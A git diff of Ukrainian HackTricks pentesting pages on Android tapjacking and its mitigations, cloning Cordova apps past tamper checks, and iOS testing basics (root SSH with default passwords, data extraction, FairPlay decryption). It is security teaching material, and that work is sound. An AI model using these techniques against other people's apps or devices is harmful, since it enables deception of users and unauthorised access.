* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
**Тапджекінг** - це атака, при якій **зловмисний додаток** запускається і **розміщується поверх додатку жертви**. Після того, як він візуально затемнює додаток жертви, його інтерфейс користувача розроблений таким чином, щоб обманом змусити користувача взаємодіяти з ним, передаючи взаємодію додатку жертви.\
|
||||
Фактично, це **приховує користувача від знання того, що вони фактично виконують дії в додатку жертви**.
|
||||
**Tapjacking** — це атака, коли **шкідлива** **додаток** запускається і **розташовується поверх додатку жертви**. Як тільки він видимо закриває додаток жертви, його інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з ним, в той час як він передає взаємодію до додатку жертви.\
|
||||
Таким чином, він **осліплює користувача, не даючи йому знати, що він насправді виконує дії в додатку жертви**.
|
||||
|
||||
### Виявлення
|
||||
|
||||
Для виявлення додатків, які вразливі до цієї атаки, слід шукати **експортовані активності** в маніфесті Android (зверніть увагу, що активність з інтент-фільтром автоматично експортується за замовчуванням). Після знаходження експортованих активностей, **перевірте, чи потрібні будь-які дозволи**. Це тому, що **зловмисний додаток також буде потребувати цього дозволу**.
|
||||
Щоб виявити додатки, вразливі до цієї атаки, ви повинні шукати **експортовані активності** в маніфесті android (зверніть увагу, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **шкідливий додаток також потребуватиме цього дозволу**.
|
||||
|
||||
### Захист
|
||||
|
||||
#### Android 12 (API 31,32) та вище
|
||||
|
||||
[**Згідно з цим джерелом**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** атаки тапджекінгу автоматично запобігаються Android починаючи з Android 12 (API 31 та 30) та вище. Таким чином, навіть якщо додаток вразливий, ви **не зможете його використати**.
|
||||
[**Згідно з цим джерелом**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** атаки tapjacking автоматично запобігаються Android з Android 12 (API 31 & 30) та вище. Тож, навіть якщо додаток вразливий, ви **не зможете його експлуатувати**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
Якщо **`android:filterTouchesWhenObscured`** встановлено в **`true`**, `View` не отримуватиме дотики, коли вікно видиме відсутнє через інше видиме вікно.
|
||||
Якщо **`android:filterTouchesWhenObscured`** встановлено на **`true`**, `View` не буде отримувати дотики, коли вікно перегляду закрите іншим видимим вікном.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
Атрибут **`setFilterTouchesWhenObscured`**, встановлений в значення **`true`**, також може запобігти використанню цієї вразливості, якщо версія Android нижча.\
|
||||
Якщо встановлено в **`true`**, наприклад, кнопка може бути автоматично **вимкнена, якщо вона прихована**:
|
||||
Атрибут **`setFilterTouchesWhenObscured`**, встановлений на true, також може запобігти експлуатації цієї вразливості, якщо версія Android нижча.\
|
||||
Якщо встановлено на **`true`**, наприклад, кнопку можна автоматично **відключити, якщо вона закрита**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -45,28 +51,47 @@ android:layout_height="wrap_content"
|
|||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
## Експлуатація
|
||||
## Використання
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
Найбільш **остання Android-додаток**, який виконує атаку Tapjacking (+ виклик до експортованої діяльності атакованого додатка), можна знайти за посиланням: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
Найбільш **остання Android програма**, що виконує атаку Tapjacking (+ виклик перед експортованою активністю атакованої програми) можна знайти за адресою: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Дотримуйтесь **інструкцій README для використання**.
|
||||
Слідуйте **інструкціям README для використання**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
Приклад проекту, який реалізує **FloatingWindowApp**, який можна використовувати для розміщення поверх інших дій для виконання атаки clickjacking, можна знайти за посиланням [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (дещо застарілий, бажаємо успіху у побудові apk).
|
||||
Приклад проекту, що реалізує **FloatingWindowApp**, який можна використовувати для накладення на інші активності для виконання атаки clickjacking, можна знайти в [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (трохи старий, удачі в створенні apk).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Здається, що цей проект зараз не підтримується, і ця функціональність більше не працює належним чином
|
||||
Схоже, що цей проект зараз не підтримується, і ця функціональність більше не працює належним чином
|
||||
{% endhint %}
|
||||
|
||||
Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` для створення зловмисного додатка для тестування можливих вразливостей **Tapjacking**.
|
||||
Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, щоб створити шкідливу програму для перевірки можливих вразливостей **Tapjacking**.\
|
||||
|
||||
Мітігація досить проста, оскільки розробник може вибрати не отримувати події дотику, коли вид заслонений іншим. Використовуючи [Довідник розробника Android](https://developer.android.com/reference/android/view/View#security):
|
||||
Пом'якшення є відносно простим, оскільки розробник може вибрати не отримувати події дотику, коли вид покритий іншим. Використовуючи [Довідник розробника Android](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Іноді важливо, щоб додаток міг перевірити, що дія виконується з повним знанням та згодою користувача, такі як надання запиту на дозвіл, здійснення покупки або клік на рекламу. Незважаючи на це, зловмисний додаток може намагатися підробити користувача на виконання цих дій, не підозрюючи, приховуючи призначення виду. Як засіб виправлення, фреймворк пропонує механізм фільтрації дотику, який можна використовувати для покращення безпеки видів, які надають доступ до чутливої функціональності.
|
||||
> Іноді важливо, щоб програма могла перевірити, що дія виконується з повним усвідомленням і згодою користувача, наприклад, надання запиту на дозвіл, здійснення покупки або натискання на рекламу. На жаль, шкідлива програма може спробувати обманути користувача, змусивши його виконати ці дії, не усвідомлюючи цього, приховуючи справжню мету виду. Як засіб вирішення, фреймворк пропонує механізм фільтрації дотиків, який можна використовувати для покращення безпеки видів, що надають доступ до чутливої функціональності.
|
||||
>
|
||||
> Щоб увімкнути фільтрацію дотику, викличте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макету android:filterTouchesWhenObscured в значення true. При увімкненні фреймворк відкине дотики, які отримані, коли вікно виду заслонене іншим видимим вікном. В результаті вид не отримає дотиків, коли вище вікна виду з'явиться сповіщення, діалогове вікно або інше вікно.
|
||||
> Щоб увімкнути фільтрацію дотиків, викликайте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макета android:filterTouchesWhenObscured в true. Коли це увімкнено, фреймворк відкине дотики, які отримуються, коли вікно виду закрите іншим видимим вікном. В результаті вид не отримає дотики, коли над вікном виду з'являється тост, діалог або інше вікно.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
# Додатки Cordova
|
||||
# Cordova Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Для отримання додаткової інформації перегляньте [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Це короткий опис:
|
||||
**Для отримання додаткової інформації перегляньте [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Це резюме:
|
||||
|
||||
Apache Cordova відомий тим, що дозволяє розробку **гібридних додатків** за допомогою **JavaScript, HTML та CSS**. Він дозволяє створювати додатки для Android та iOS, проте він не має стандартного механізму для захисту вихідного коду додатка. На відміну від React Native, Cordova не компілює вихідний код за замовчуванням, що може призвести до вразливостей на зміну коду. Cordova використовує WebView для відображення додатків, викриваючи HTML- та JavaScript-код навіть після компіляції в файли APK або IPA. З іншого боку, React Native використовує віртуальну машину JavaScript для виконання JavaScript-коду, що забезпечує кращий захист вихідного коду.
|
||||
Apache Cordova визнана за можливість розробки **гібридних додатків** за допомогою **JavaScript, HTML та CSS**. Вона дозволяє створювати додатки для Android та iOS; однак, їй не вистачає механізму за замовчуванням для захисту вихідного коду додатка. На відміну від React Native, Cordova за замовчуванням не компілює вихідний код, що може призвести до вразливостей через підробку коду. Cordova використовує WebView для рендерингу додатків, що відкриває HTML та JavaScript код навіть після компіляції в APK або IPA файли. React Native, навпаки, використовує JavaScript VM для виконання JavaScript коду, що забезпечує кращий захист вихідного коду.
|
||||
|
||||
### Клонування додатка Cordova
|
||||
### Клонування Cordova Додатку
|
||||
|
||||
Перед клонуванням додатка Cordova переконайтеся, що встановлено NodeJS разом з іншими передумовами, такими як Android SDK, Java JDK та Gradle. Офіційна [документація](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) Cordova надає вичерпний посібник щодо цих встановлень.
|
||||
Перед клонуванням Cordova додатку переконайтеся, що NodeJS встановлено разом з іншими передумовами, такими як Android SDK, Java JDK та Gradle. Офіційна документація Cordova [документація](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) надає всебічний посібник для цих установок.
|
||||
|
||||
Розглянемо приклад додатка з назвою `Bank.apk` з ім'ям пакету `com.android.bank`. Для доступу до вихідного коду розпакуйте `bank.apk` та перейдіть до папки `bank/assets/www`. Ця папка містить повний вихідний код додатка, включаючи файли HTML та JS. Конфігурацію додатка можна знайти в `bank/res/xml/config.xml`.
|
||||
Розгляньте приклад додатку з назвою `Bank.apk` з назвою пакету `com.android.bank`. Щоб отримати доступ до вихідного коду, розпакуйте `bank.apk` і перейдіть до папки `bank/assets/www`. Ця папка містить повний вихідний код додатку, включаючи HTML та JS файли. Конфігурацію додатку можна знайти в `bank/res/xml/config.xml`.
|
||||
|
||||
Для клонування додатка слідувати цим крокам:
|
||||
Щоб клонувати додаток, виконайте ці кроки:
|
||||
```bash
|
||||
npm install -g cordova@latest
|
||||
cordova create bank-new com.android.bank Bank
|
||||
cd bank-new
|
||||
```
|
||||
Скопіюйте вміст `bank/assets/www` до `bank-new/www`, виключивши `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` та каталог `plugins/`.
|
||||
Скопіюйте вміст `bank/assets/www` до `bank-new/www`, виключаючи `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` та директорію `plugins/`.
|
||||
|
||||
При створенні нового проекту Cordova вказуйте платформу (Android або iOS). Для клонування Android додатка додайте платформу Android. Зверніть увагу, що версії платформ Cordova та рівні API Android є різними. Для отримання детальної інформації про версії платформ та підтримувані API Android, дивіться документацію Cordova [тут](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/).
|
||||
Вкажіть платформу (Android або iOS) під час створення нового проекту Cordova. Для клонування Android-додатку додайте платформу Android. Зверніть увагу, що версії платформ Cordova та рівні API Android є різними. Ознайомтеся з [документацією](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) Cordova для отримання деталей про версії платформ та підтримувані API Android.
|
||||
|
||||
Для визначення відповідної версії платформи Cordova Android перевірте `PLATFORM_VERSION_BUILD_LABEL` у файлі `cordova.js` оригінального додатка.
|
||||
Щоб визначити відповідну версію платформи Cordova Android, перевірте `PLATFORM_VERSION_BUILD_LABEL` у файлі `cordova.js` оригінального додатку.
|
||||
|
||||
Після налаштування платформи встановіть необхідні плагіни. У файлі `bank/assets/www/cordova_plugins.js` оригінального додатка перелічені всі плагіни та їх версії. Встановіть кожен плагін окремо, як показано нижче:
|
||||
Після налаштування платформи встановіть необхідні плагіни. Файл `bank/assets/www/cordova_plugins.js` оригінального додатку містить список усіх плагінів та їх версій. Встановлюйте кожен плагін окремо, як показано нижче:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
|
@ -46,18 +47,33 @@ cordova plugin add cordova-plugin-dialogs@2.0.1
|
|||
cd bank-new
|
||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||
```
|
||||
Переконайтеся, що всі вимоги виконані перед компіляцією:
|
||||
Переконайтеся, що всі попередні вимоги виконані перед компіляцією:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova requirements
|
||||
```
|
||||
Для побудови APK використовуйте наступну команду:
|
||||
Щоб зібрати APK, використовуйте наступну команду:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova build android — packageType=apk
|
||||
```
|
||||
Ця команда генерує APK з увімкненою опцією налагодження, що спрощує налагодження через Google Chrome. Надзвичайно важливо підписати APK перед встановленням, особливо якщо додаток містить механізми виявлення втручання в код.
|
||||
Ця команда генерує APK з увімкненою опцією налагодження, що полегшує налагодження через Google Chrome. Важливо підписати APK перед установкою, особливо якщо додаток містить механізми виявлення підробки коду.
|
||||
|
||||
### Інструмент автоматизації
|
||||
|
||||
Для тих, хто прагне автоматизувати процес клонування, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** є рекомендованим інструментом. Він спрощує клонування Android-додатків, спрощуючи кроки, описані вище.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# Основні операції тестування iOS
|
||||
# iOS Basic Testing Operations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Опис ідентифікації та доступу до пристрою iOS**
|
||||
## **Summary of iOS Device Identification and Access**
|
||||
|
||||
### **Визначення UDID пристрою iOS**
|
||||
### **Identifying the UDID of an iOS Device**
|
||||
|
||||
Для унікальної ідентифікації пристрою iOS використовується 40-значна послідовність, відома як UDID. На macOS Catalina або новіших версіях це можна знайти в додатку **Finder**, оскільки iTunes більше не присутній. Пристрій, підключений через USB та вибраний в Finder, показує свій UDID серед іншої інформації, коли деталі під його ім'ям натиснуті.
|
||||
Щоб унікально ідентифікувати iOS пристрій, використовується 40-значна послідовність, відома як UDID. На macOS Catalina або новіших версіях це можна знайти в **Finder app**, оскільки iTunes більше не присутній. Пристрій, підключений через USB і вибраний у Finder, показує свій UDID серед іншої інформації, коли натискають на деталі під його назвою.
|
||||
|
||||
Для версій macOS до Catalina iTunes допомагає виявити UDID. Детальні інструкції можна знайти [тут](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
Для версій macOS до Catalina iTunes полегшує виявлення UDID. Докладні інструкції можна знайти [тут](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
|
||||
Інструменти командного рядка пропонують альтернативні методи отримання UDID:
|
||||
Командні інструменти пропонують альтернативні методи для отримання UDID:
|
||||
|
||||
* **Використання інструменту I/O Registry Explorer `ioreg`:**
|
||||
* **Використовуючи інструмент I/O Registry Explorer `ioreg`:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
```
|
||||
|
@ -37,103 +38,103 @@ $ idevice_id -l
|
|||
```bash
|
||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||
```
|
||||
* **Використання `інструментів` для переліку пристроїв:**
|
||||
* **Використання `instruments` для переліку пристроїв:**
|
||||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
### **Доступ до оболонки пристрою**
|
||||
|
||||
**SSH доступ** увімкнено шляхом встановлення пакету **OpenSSH** після в'язниці, що дозволяє підключення через `ssh root@<device_ip_address>`. Важливо змінити паролі за замовчуванням (`alpine`) для користувачів `root` та `mobile`, щоб захистити пристрій.
|
||||
**Доступ SSH** активується шляхом встановлення **пакету OpenSSH** після джейлбрейку, що дозволяє підключення через `ssh root@<device_ip_address>`. Важливо змінити стандартні паролі (`alpine`) для користувачів `root` та `mobile`, щоб забезпечити безпеку пристрою.
|
||||
|
||||
**SSH через USB** стає необхідним у відсутності Wi-Fi, використовуючи `iproxy` для відображення портів пристрою для SSH підключень. Ця настройка дозволяє доступ до SSH через USB шляхом виконання:
|
||||
**SSH через USB** стає необхідним за відсутності Wi-Fi, використовуючи `iproxy` для відображення портів пристрою для SSH-з'єднань. Ця конфігурація дозволяє доступ до SSH через USB, запустивши:
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**Програми оболонки на пристрої**, такі як NewTerm 2, сприяють прямому взаємодії з пристроєм, особливо корисні для усунення неполадок. **Обернені оболонки SSH** також можуть бути встановлені для віддаленого доступу з комп'ютера хоста.
|
||||
**On-device shell applications**, такі як NewTerm 2, полегшують безпосередню взаємодію з пристроєм, що особливо корисно для усунення неполадок. **Reverse SSH shells** також можуть бути встановлені для віддаленого доступу з комп'ютера-хоста.
|
||||
|
||||
### **Скидання забутого пароля**
|
||||
### **Скидання забутих паролів**
|
||||
|
||||
Для скидання забутого пароля на типовий (`alpine`), необхідно відредагувати файл `/private/etc/master.passwd`. Це включає заміну існуючого хешу хешем для `alpine` поруч із записами користувачів `root` та `mobile`.
|
||||
Щоб скинути забутий пароль до значення за замовчуванням (`alpine`), необхідно відредагувати файл `/private/etc/master.passwd`. Це передбачає заміну існуючого хешу на хеш для `alpine` поруч з записами користувачів `root` і `mobile`.
|
||||
|
||||
## **Техніки передачі даних**
|
||||
|
||||
### **Передача файлів даних додатків**
|
||||
|
||||
**Архівування та відновлення через SSH та SCP:** Просто архівувати каталог Даних додатка за допомогою `tar`, а потім передати його за допомогою `scp`. Команда нижче архівує каталог Даних у файл .tgz, який потім витягується з пристрою:
|
||||
**Архівування та отримання через SSH та SCP:** Легко архівувати каталог даних програми за допомогою `tar`, а потім передати його за допомогою `scp`. Команда нижче архівує каталог даних у файл .tgz, який потім витягується з пристрою:
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Графічні інструменти користувацького інтерфейсу**
|
||||
### **Графічні інтерфейсні інструменти**
|
||||
|
||||
**Використання iFunbox та iExplorer:** Ці GUI-інструменти корисні для керування файлами на пристроях iOS. Однак починаючи з iOS 8.4, Apple обмежила доступ цих інструментів до пісочниці додатків, якщо пристрій не має виправлення.
|
||||
**Використання iFunbox та iExplorer:** Ці GUI інструменти корисні для управління файлами на пристроях iOS. Однак, починаючи з iOS 8.4, Apple обмежила доступ цих інструментів до пісочниці додатка, якщо пристрій не зламаний.
|
||||
|
||||
### **Використання Objection для керування файлами**
|
||||
### **Використання Objection для управління файлами**
|
||||
|
||||
**Інтерактивна оболонка з Objection:** Запуск Objection надає доступ до каталогу Bundle додатка. Звідси ви можете перейти до каталогу Documents додатка та керувати файлами, включаючи їх завантаження та вивантаження на пристрій iOS.
|
||||
**Інтерактивна оболонка з Objection:** Запуск objection надає доступ до каталогу Bundle додатка. Звідси ви можете перейти до каталогу Documents додатка та керувати файлами, включаючи їх завантаження та вивантаження на та з пристрою iOS.
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
file download <filename>
|
||||
```
|
||||
## **Отримання та Розпакування Додатків**
|
||||
## **Отримання та витягування додатків**
|
||||
|
||||
### **Отримання Файлу IPA**
|
||||
### **Придбання IPA файлу**
|
||||
|
||||
**Посилання на Розповсюдження через Інтернет (OTA):** Додатки, що розповсюджуються для тестування через OTA, можна завантажити за допомогою інструменту завантаження активів служб ITMS, який встановлюється за допомогою npm та використовується для збереження файлу IPA локально.
|
||||
**Посилання на розподіл по повітрю (OTA):** Додатки, розподілені для тестування через OTA, можна завантажити за допомогою інструменту завантаження активів ITMS, який встановлюється через npm і використовується для збереження IPA файлу локально.
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
### **Видобуток бінарного файлу додатка**
|
||||
### **Витягування бінарного файлу програми**
|
||||
|
||||
1. **З IPA-файлу:** Розпакуйте IPA-файл, щоб отримати доступ до розшифрованого бінарного файлу додатка.
|
||||
2. **З пристрою з вибухнутим джейлбрейком:** Встановіть додаток та видобудьте розшифрований бінарний файл з пам'яті.
|
||||
1. **З IPA:** Розпакуйте IPA, щоб отримати розшифрований бінарний файл програми.
|
||||
2. **З джейлбрейкнутого пристрою:** Встановіть програму та витягніть розшифрований бінарний файл з пам'яті.
|
||||
|
||||
### **Процес розшифрування**
|
||||
|
||||
**Огляд Ручного Розшифрування:** Бінарні файли додатків iOS шифруються Apple за допомогою FairPlay. Для реверс-інженерії необхідно витягнути розшифрований бінарний файл з пам'яті. Процес розшифрування включає перевірку прапорця PIE, налаштування прапорців пам'яті, ідентифікацію зашифрованої секції, а потім витягнення та заміну цієї секції на її розшифровану форму.
|
||||
**Огляд ручного розшифрування:** Бінарні файли програм iOS зашифровані Apple за допомогою FairPlay. Щоб провести реверс-інжиніринг, потрібно витягти розшифрований бінарний файл з пам'яті. Процес розшифрування включає перевірку прапора PIE, коригування прапорів пам'яті, ідентифікацію зашифрованої секції, а потім витягування та заміну цієї секції на її розшифровану форму.
|
||||
|
||||
